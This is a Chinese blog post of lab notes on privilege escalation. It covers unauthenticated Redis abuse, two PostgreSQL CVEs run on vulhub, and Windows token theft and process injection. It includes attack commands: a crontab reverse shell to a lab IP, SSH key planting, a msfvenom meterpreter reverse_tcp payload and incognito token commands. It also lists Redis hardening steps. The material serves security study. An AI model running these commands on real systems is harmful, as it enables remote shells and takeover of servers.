Redis&Postgre&令牌窃取&进程注入

Redis&Postgre&令牌窃取&进程注入
Yatming的博客Redis
Redis服务因配置不当,可被攻击者恶意利用。黑客借助Redis内置命令,可将现有数据恶意清空;如果redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器。
搭建环境,我这里就不用公网服务器了吧,我在内网进行搭建
1 | https://zhuanlan.zhihu.com/p/34527270 //安装redis |
默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。
在kali上进行端口扫描(工具不限),但是我第一次扫描的时候没有扫出来,第二次就扫出来了,可能是因为我第二次关闭了防火墙的原因?
然后是在kali上下载工具redis-cli:https://codeantenna.com/a/tq9H3WBpEU
利用计划任务执行命令反弹shell
在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口
1 | nc -lvnp 7999 |
然后执行命令:
1 | set x "\n* * * * * bash -i >& /dev/tcp/192.168.70.128/7999 0>&1\n" |
出师不利,这里告诉我权限不够
可进行利用的cron有如下几个地方
/etc/crontab
这个是肯定的/etc/cron.d/*
将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab
相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell/var/spool/cron/root
centos系统下root用户的cron文件/var/spool/cron/crontabs/root
debian系统下root用户的cron文件
写ssh-keygen公钥然后使用私钥登陆
在以下条件下,可以利用此方法
- Redis服务使用ROOT账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
centos7开启远程服务,然后允许密钥登录:https://www.cnblogs.com/yzgblogs/p/15191338.html
生成密钥:ssh-keygen -t rsa
然后查看一下密钥:
1 | config set dir /root/.ssh/ |
又失败了
修复方案
- 以低权限运行Redis
- 禁止外网访问Redis
1 | #修改redis配置 |
- 禁止一些高危命令
1 | #修改 redis.conf 文件,禁用远程修改 DB 文件地址 |
绑定需要访问数据库IP。将127.0.0.1修改为需要访问此数据库的IP地址,即不允许外连
设置访问密码在 Redis.conf中requirepass 字段后,设置添加访问密码。
修改 Redis 服务运行账号。即使用低权限运行redis,但是不允许低权限用户进行远程登录之类的
PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令
- https://vulhub.org/#/environments/postgres/CVE-2018-1058/
- https://vulhub.org/#/environments/postgres/CVE-2019-9193/
首先使用Navicat工具连接到PostgreSQL数据库
1 | DROP TABLE IF EXISTS cmd_exec; |
PostgreSQL 提权漏洞(CVE-2018-1058)
1 | docker-compose up -d // 就可以启动靶场了 |
执行如下语句退出:
1 | CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$ |
1 | docker compose exec postgres pg_dump -U postgres -f evil.bak vulhub |
总结,如果有进入postgresql这样的数据库的话,如果有2019的漏洞直接利用就行了,但是如果是低权限就尝试使用2018的漏洞进行提权
Windows2008&7 令牌窃取提升-本地
原理:进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
利用条件:需要管理员权限才能提升到system权限,对系统的版本也有要求,2008或者win7之后的系统是不适用的
生成后门:
1 | msfvenom -p windows/meterpreter/reverse_tcp LPORT=8899 LHOST=192.168.70.128 -f exe -o test.exe |
MSF:
1 | use exploit/multi/handler |
仅限管理员权限,如果是普通用户就不行
1 | use incognito |
Windows2003&10进程注入提升-本地
利用条件:仅对2008之前的系统有用,不包括2008
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共享机制,这类技术主要利用在 windows2008 之前操作系统上.所以我们需要学习后续的本地提权更多的手法才能有针对高版本的系统。核心就是窃取进程的权限(有一些进程有system权限)
Pinjector工具下载地址:https://www.tarasco.org/security/Process_Injector/index.html
1 | pinjector.exe -l //获取当前计算机的进程列表(列出可以注入的进程) |
这里我用普通用户,根本没有system在使用的进程(悲)